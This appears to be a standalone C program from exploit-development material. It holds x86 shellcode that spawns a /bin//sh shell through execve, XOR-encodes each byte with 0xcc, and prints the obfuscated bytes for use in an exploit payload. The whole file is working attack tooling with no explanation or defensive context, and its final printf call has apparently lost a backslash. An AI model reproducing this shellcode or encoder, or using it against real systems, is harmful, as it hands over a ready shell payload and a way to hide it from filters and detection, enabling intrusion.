#include <stdio.h>

     int main(void)
     {
          char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x50\x51\x53\xb0\x3b\x50\xcd\x80";
          int i;
          
          for(i = 0; i < sizeof(shellcode)-1; i++)
          {
               printf(",0x%.2x", (unsigned char)shellcode[i] ^ 0xcc);
          }
          printf("n");
          return 0;
     }